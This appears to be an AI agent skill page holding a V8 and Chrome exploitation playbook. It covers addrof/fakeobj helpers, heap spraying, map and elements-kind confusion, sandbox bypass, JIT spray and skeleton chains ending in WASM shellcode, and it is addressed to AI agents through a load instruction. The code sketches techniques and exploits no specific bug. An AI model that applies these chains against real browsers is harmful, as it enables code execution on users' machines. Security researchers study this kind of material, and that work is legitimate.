Skip to content

ShulkwiSEC/bb-huge / skills/curated/browser-exploitation-v8

browser-exploitation-v8

Verified

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

FileKindSize
SKILL.mdskill md12.2 KB
V8_EXPLOITATION_PATTERNS.mdmarkdown9.0 KB

V8_EXPLOITATION_PATTERNS.md

View on GitHub
# V8 Exploitation Patterns — Heap Layout, GC Interaction, Sandbox Bypass

> **AI LOAD INSTRUCTION**: Load this for detailed V8 exploitation code patterns, heap layout manipulation, GC interaction tricks, object map confusion, and V8 sandbox bypass techniques. Assumes [SKILL.md](./SKILL.md) is loaded for V8 architecture and primitive construction overview.

---

## 1. HELPER UTILITIES

Standard utility functions used in almost every V8 exploit:

```javascript
let buf = new ArrayBuffer(8);
let f64 = new Float64Array(buf);
let u32 = new Uint32Array(buf);
let u64 = new BigUint64Array(buf);

function ftoi(f) { f64[0] = f; return u64[0]; }
function itof(i) { u64[0] = i; return f64[0]; }
function lo(i) { u64[0] = i; return u32[0]; }
function hi(i) { u64[0] = i; return u32[1]; }

function hex(i) { return '0x' + i.toString(16); }
```

### V8 Intrinsics (d8 --allow-natives-syntax)

```javascript
%DebugPrint(obj);                    // Print internal object representation
%OptimizeFunctionOnNextCall(func);   // Force TurboFan optimization
%PrepareFunctionForOptimization(func); // Mark for optimization
%SystemBreak();                      // Trigger INT3 for GDB
%CollectGarbage('major');            // Force GC
```

---

## 2. HEAP LAYOUT MANIPULATION

### Allocation Order in Young Generation

V8's young generation allocates objects sequentially (bump pointer). Control allocation order to ensure adjacency:

```javascript
// Allocate in order → objects are adjacent in memory
let oob_arr = [1.1, 2.2, 3.3];         // Float64 array (target for OOB)
let victim  = [{}];                      // Object array (corrupt this)
let rw_buf  = new ArrayBuffer(0x100);   // ArrayBuffer (steal backing_store)

// oob_arr elements → victim header → rw_buf header are adjacent
// OOB write from oob_arr can corrupt victim's map → type confusion
// OOB write to rw_buf can corrupt backing_store → arbitrary R/W
```

### Heap Spray for Predictable Layout

```javascript
let spray = [];
for (let i = 0; i < 1000; i++) {
    spray.push(new ArrayBuffer(0x100));
}
// Many ArrayBuffers at sequential addresses
// Known relative offsets between them
```

---

## 3. ELEMENTS KINDS CONFUSION

V8 arrays have internal "elements kind" tracked in their Map:

| Elements Kind | Storage | Interpretation |
|---|---|---|
| `PACKED_SMI_ELEMENTS` | Tagged SMI | Small integers (31-bit) |
| `PACKED_DOUBLE_ELEMENTS` | Unboxed float64 | Raw 64-bit doubles |
| `PACKED_ELEMENTS` | Tagged pointers | Object references |
| `HOLEY_*` variants | Same but with holes | Sparse arrays |

### Type Confusion: Double ↔ Object

```javascript
// If bug causes array with PACKED_ELEMENTS (object refs) to be
// treated as PACKED_DOUBLE_ELEMENTS (raw floats):
// - Reading object element as float → leaks raw pointer (addrof)
// - Writing float to object element → creates fake pointer (fakeobj)

// Transition chain (normally one-way):
// SMI → DOUBLE → ELEMENTS (never goes backward)
// Bug: forces wrong elements kind on optimized code path
```

---

## 4. MAP CONFUSION EXPLOITATION

### Corrupting Object Map

```javascript
// Object's first field is its Map pointer (compressed, 32-bit)
// Corrupting the map changes how V8 interprets the entire object

// Example: change a regular array's map to a different array type
// Before: Map says PACKED_SMI_ELEMENTS, length = 4
// After:  Map says PACKED_DOUBLE_ELEMENTS, length = 0x1000 (if map has different length offset)
// Result: Unconstrained OOB read/write through the "array"
```

### Fake Map Construction

```javascript
// To create a believable fake object, need a valid Map at the start
// Approach 1: Find existing Map address via addrof, reuse it
let target_map_addr = addrof(target_array) - 0x10n;  // approximate
// Read map from memory via OOB, copy it to controlled location

// Approach 2: Spray arrays of same type to have many identical Maps
let maps_spray = [];
for (let i = 0; i < 100; i++) {
    maps_spray.push([1.1]);  // all share same Map in V8's map space
}
```

---

## 5. GC INTERACTION AND SURVIVAL

### GC-Safe Exploitation

V8's GC moves objects (compacting GC). Exploits must account for:

| Issue | Mitigation |
|---|---|
| Object moves during GC | Pin objects in old generation (allocate enough to promote) |
| Fake object freed by GC | Ensure fake objects aren't in GC-tracked regions |
| Write barriers corrupt state | Avoid triggering write barriers on corrupted pointers |
| Weak references cleared | Don't rely on weak refs for exploit state |

### Promoting to Old Space

```javascript
// Allocate object, trigger minor GC to promote to old space (stable address)
let obj = {a: 1, b: 2};
// Fill young generation to trigger scavenge
for (let i = 0; i < 100000; i++) new Array(100);
// obj is now in old space with stable address
```

### ArrayBuffer is GC-Friendly

`ArrayBuffer`'s backing store is external memory (not managed by V8 GC). Corrupting its pointer won't be affected by GC moves.

---

## 6. COMMON EXPLOITATION CHAINS

### Chain 1: Typer Bug → OOB → addrof/fakeobj → R/W → WASM Shellcode

```javascript
// Step 1: Trigger typer bug for OOB array access
function trigger() {
    let arr = new Array(1);
    arr[0] = 1.1;
    // ... bug-specific code that makes TurboFan believe index is in bounds ...
    let oob_val = arr[oob_index];  // OOB read
    arr[oob_index] = corrupt_val;  // OOB write
}

// Step 2: Use OOB to corrupt adjacent array → addrof/fakeobj primitives
// Step 3: Build arbitrary R/W (corrupt ArrayBuffer backing_store)
// Step 4: Find WASM instance, overwrite JIT code page with shellcode
// Step 5: Call WASM function → shellcode executes
```

### Chain 2: Type Confusion → Overlapping Arrays → Length Corruption

```javascript
// Step 1: Confuse element kind (double↔object) on array
// Step 2: Through confusion, read adjacent array's length field
// Step 3: Write a huge value as the length → array now has OOB access
// Step 4: Use giant array for full heap R/W
// Step 5: Shellcode via WASM or stack ROP
```

---

## 7. V8 SANDBOX BYPASS TECHNIQUES

### External Pointer Table (EPT)

V8 sandbox stores external (out-of-cage) pointers in an External Pointer Table. Each entry:

```
EPT[index] = (raw_pointer ^ tag) | type_bits
```

Corruption approach:
1. Find EPT entry for a known external object (e.g., ArrayBuffer backing store of external memory)
2. Overwrite the entry to point to target address
3. Access through the original JS object → reads/writes outside cage

### Corrupting WASM Jump Table

```javascript
// WASM instance has jump_table_start pointing to RWX code
// Even with sandbox, WASM code pointers may be indirect
// Find WASM instance in cage → follow pointer chain to code
// Overwrite code entry in jump table with shellcode address
```

### Sandbox Hole via Type Confusion

Some V8 object types store both sandboxed and unsandboxed pointers. A type confusion that changes how a field is interpreted (sandboxed offset vs raw pointer) can escape the cage.

---

## 8. JIT SPRAY TECHNIQUE

Plant controlled immediate values in JIT-compiled code:

```javascript
// Float constants embed as 64-bit immediates in machine code
function spray() {
    let x = 1.4501798452584495e-277;  // 0x90909090_90909090 (NOP sled)
    // ... repeat with shellcode-encoding floats ...
}
// JIT compiles spray() → movabs rax, 0x9090909090909090 in code page
// Jump into the middle of the immediate → executes as NOP sled
```

**Modern mitigations**: Constant blinding (XOR constants with random key), removing RWX pages, and V8 sandbox reduce JIT spray effectiveness.

---

## 9. BROWSER-SPECIFIC CONSIDERATIONS

### Chrome Process Model

```
Browser Process (privileged)
  ├── Renderer Process 1 (sandboxed) ← V8 exploit here
  ├── Renderer Process 2 (sandboxed)
  ├── GPU Process
  ├── Network Process
  └── Utility Processes
```

### Renderer → Browser Escape via Mojo

```
Renderer compromise → find vulnerable Mojo interface →
  craft malicious IPC message → trigger bug in browser process →
  code execution in browser (unsandboxed)
```

Key Mojo targets: `BlobRegistry`, `FileSystemManager`, `NetworkService`, and other privileged interfaces.

### Memory Layout in Chrome

| Region | Contents |
|---|---|
| V8 Cage (4GB) | JS heap, WASM memory, ArrayBuffer stores |
| PartitionAlloc | Blink DOM objects, C++ objects |
| System malloc | Chrome C++ allocations outside PartitionAlloc |
| mmap regions | Shared memory, file mappings |

---

## 10. DEBUGGING AND ANALYSIS

```bash
# Build d8 for debugging
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false target_cpu="x64"'
ninja -C out/debug d8

# Run with debugging features
./out/debug/d8 --allow-natives-syntax --trace-turbo --print-opt-code exploit.js

# GDB with V8
gdb ./out/debug/d8
b v8::internal::Runtime_DebugPrint  # break on %DebugPrint
r --allow-natives-syntax exploit.js

# Turbolizer (web UI for TurboFan IR)
# Open chrome://tracing, load turbo-*.json from --trace-turbo

# Useful GDB commands for V8
job <addr>          # V8 GDB helper: print V8 object at address
jst                 # Print V8 JavaScript stack trace
```
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall